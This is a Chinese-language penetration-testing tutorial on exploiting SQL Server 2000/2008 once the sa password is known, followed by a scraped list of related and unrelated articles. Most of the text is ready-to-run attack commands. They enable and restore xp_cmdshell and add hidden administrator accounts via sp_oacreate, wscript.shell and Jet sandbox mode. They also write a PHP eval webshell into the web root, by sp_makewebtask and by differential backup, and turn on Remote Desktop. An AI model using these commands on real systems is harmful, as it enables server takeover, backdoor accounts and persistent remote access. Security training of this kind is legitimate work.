此次复现使用的sql server 2000 和sql server 2008两个环境进行的

是在已知数据库密码的基础上进行的

0x01 MSSQL连接

连接MSSQL 2000

新建连接:



填写目的IP、目的端口、用户名、密码:



一直下一步,完成后,数据库导航窗口会出现一个连接,双击连接:

若是第一次连接,双击会提示下载驱动文件,若不成功,需多次反复尝试





新建SQL编辑器即可执行SQL语句:

查询SQL Server版本SQL语句如下:

select @@version;

执行结果:

连接MSSQL 2008

新建连接:



填写目的IP、目的端口、用户名、密码:



新建查询:



执行SQL语句,查询所有的数据库名称:

SQL语句:

SELECT Name FROM Master..SysDatabases ORDER BY Name;

执行结果:

0x02 MSSQL利用方式

xp_cmdshell

1.直接利用:

SQL语句:

exec master..xp_cmdshell 'whoami';

SQL Server 2000结果:



SQL Server 2008结果:



xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启

开启xp_cmdshell命令如下:

exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;

有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效

可以通过exec sp_configure查看xp_cmdshell状态:

exec sp_configure



再次执行系统命令:

exec master..xp_cmdshell 'whoami';

exec master..xp_cmdshell 'ipconfig';

关闭xp_cmdshell过程如下:

exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效

2.恢复xp_cmdshell:

判断是否xp_cmdshell存储过程,返回1代表存在:

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

在SQL Server 2005及之前的版本,管理员可能采用下面命令可以将xp_cmdshell删除:

exec master..sp_dropextendedproc xp_cmdshell;

此时若使用xp_cmdshell,会提示“未能找到存储过程”,如下:



需使用下面命令可以恢复:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;

恢复xp_cmdshell需要xplog70.dll,但有的管理员会将xplog70.dll一并删除:

如果有上传权限,可以上传xplog70.dll,并执行:

exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;

sp_oacreate(添加管理员)

SQL Server 2008不可用,SQL Server 2000可添加管理员用户:

DECLARE @js int EXEC sp_oacreate 'ScriptControl',@js OUT EXEC sp_OASetProperty @js, 'Language', 'JavaScript' EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("test1");z.changePassword("test1","");z.setting("AccountType")=3;'

sp_makewebtask (写文件)

SQL Server 2008不可用,SQL Server 2000可新建文件:(phpinfo)

exec sp_makewebtask 'C:\test1.php',' select ''<?php phpinfo();?>'' ';;--

写shell

exec sp_makewebtask 'C:\test1.php',' select ''<?php @eval($?_POST['cmd']);?>'' ';;--

wscript.shell(添加管理员)

SQL Server 2008、SQL Server 2000均可用:

开启(2008可以试一下,2000不用开启)

exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE

添加用户

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test2 test2 /add'

添加到管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test2 /add'

执行结果:

Shell.Application(添加用户)

SQL Server 2008不可用,SQL Server 2000可用:

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test3 test3 /add','c:\windows\system32','','1';

沙盒模式

只有Windows xp 与 Windows 2003可用:

开启沙盒模式:

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

执行系统命令:(添加用户)

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test4 test4 /add")')

0x04 MSSQL差异备份

MSSQL 2008

查询库名:

SELECT DB_NAME();

也可以创建数据库:

create database test2;

先进行一次完整备份:

backup database test2 to disk = 'c:\test2.bak';

使用数据库:

use test2;

创建新表:

create table [dbo].[test2] ([cmd] [image]);

向表中插入数据:

insert into test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>

进行差异备份:

backup database test2 to disk='C:\phpStudy\PHPTutorial\WWW\test2.php' WITH DIFFERENTIAL,FORMAT;

访问目标地址:

0x05 补充

查看远程桌面开启

exec xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections'

开启远程桌面

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections',
'REG_DWord',0

参考文章:https://www.freebuf.com/articles/web/55577.html

利用MSSQL getshell的更多相关文章

  1. [置顶] LOAD语句:利用MSSQL中的xp_cmdshell功能,将指定文件夹下的指定文件,生成mysql的LOAD语句

    LOAD语句:利用MSSQL中的xp_cmdshell功能,将指定文件夹下的指定文件,生成mysql的LOAD语句 declare @sql varchar(4000), @dirpath varch ...

  2. 一次利用MSSQL的SA账户提权获取服务器权限

    遇到小人,把服务器整走了 自己手里只有sql server的sa账号密码 模糊记起之前用这个账户提权读取文件的事 百度之,发现相关信息一堆堆 各种工具也用了不少 发现不是语法错误就是权限不够 无奈之下 ...

  3. 利用MSSQL对不经常使用的表进行依赖缓存

    缓存是我们开发应用系统的一把利刃,如果用的不好,会导致数据不准确等一系列问题. 所以在如何选择缓存的时候,我们要慎之又慎.所以在对系统中一些 不经常变化的表,我们可以采用SqlCacheDenpend ...

  4. 渗透测试学习 九、 MSsql注入上

    MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...

  5. 利用ASP.NET运行数据库的安装脚本

    在启明星的演示站点里,经常有用户修改演示密码,导致别的用户无法访问. 为此,在登陆页面,增加了一个“初始化数据库”功能,这样,即使用户修改了密码,别的访问者,只要重置数据库,就可以很容易再次进入. 首 ...

  6. mssql 注入

    注入查阅 .返回的是连接的数据库名 .作用是获取连接用户名 .将数据库备份到Web目录下面 ;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db ...

  7. MSSQL代理工作服务器远程命令执行

    概述 如果MSSQL数据库中开启了MSSQL Server Agent Job服务的话,攻击者将可以利用MSSQL Server中自带的功能来获取一个shell. SQL Server Agent S ...

  8. 【汇总】数据库提权(mysql、mssql)

    日期:2018-04-03 11:46:45 作者:Bay0net 介绍:利用 mssql 的 sa 账号提权.利用 MySQL 的 UDF 提权 0x01.mssql 提权 恢复 xp_cmdshe ...

  9. 靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用

    最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下. 下载地址:http://vulnstack. ...

随机推荐

  1. 一文说透https中的s是什么?

    一.HTTP 与 HTTPS 有哪些区别? 1. HTTP 是超文本传输协议,信息是明文传输,存在安全风险.HTTPS ,是在 TCP 和网络层之间加入了 SSL/TLS 安全协议,也就是安全套接字层 ...

  2. Linux性能优化之内存性能调优

    一.根据性能指标找工具 二.根据工具查性能 三.内存优化策略 常见的优化思路有这么几种: 1)最好禁止 Swap.如果必须开启 Swap,降低 swappiness 的值,减少内存回收时 Swap 的 ...

  3. IPMI日常使用

    重启ipmi: ipmitool mc reset  <warm|cold>  warm表示软重启: cold表示硬重启:   设置IPMI地址: ipmitool lan set 1 i ...

  4. 注意!你的 Navicat 可能被下毒了...

    大家早上好,我是程序猿DD! 刚刚看到一份来自微步在线发布的威胁情报通报,其中提到了被我们广泛应用的数据库管理工具Navicat Premium被投毒消息!如果你有用过相关版本的话,可能当前正处于数据 ...

  5. 《手把手教你》系列技巧篇(六十九)-java+ selenium自动化测试 - 读取csv文件(详细教程)

    1.简介 在实际测试中,我们不仅需要读取Excle,而且有时候还需要读取CSV类的文件.如何去读取CSV的文件,宏哥今天就讲解和分享一下,希望对你能够有所帮助.前面介绍了如何读取excel文件,本篇介 ...

  6. VUE项目二级菜单刷新时404 nginx

    原因:vue项目的路径时虚拟路径,并不存在,所以用nginx去请求请求不到,所以vue项目做了两部调整: 1.所有的请求后端接口地址前端写死 2.nginx里把所有的接口转发后端删掉,并添加以下内容 ...

  7. 一文带你看懂HarmonyOS应用上架

    大家一直以来都很关心如何上架HarmonyOS应用,现在它来了!它终于来了! 我们为大家梳理了HarmonyOS应用从创建.调试到上架的流程和注意事项,希望能为你的上架之旅带来帮助! 一.创建/添加应 ...

  8. 【windows 操作系统】Windows系统机制之对象管理器

    转载自 Windows系统机制之对象管理器 设计的几个目的: 提供一种公共统一的机制来使用系统资源 将对象保护隔离到OS中的一个地方,从而确保统一的一致的对象访问策略 提供一种机制来管理进程对对象的使 ...

  9. over the Wall

    最近风头很紧,先上两个可用的谷歌镜像给各位应急. https://kfd.me/ http://gufenso.coderschool.cn/ https://github.com/gfw-break ...

  10. Qt:QTableWidget

    0.说明 QTableWidget类提供了一个基于Item的Table视图,如下图: Table Widget提供了表格用于显示.Table中的每个Item都是QTableWidgetItem对象. ...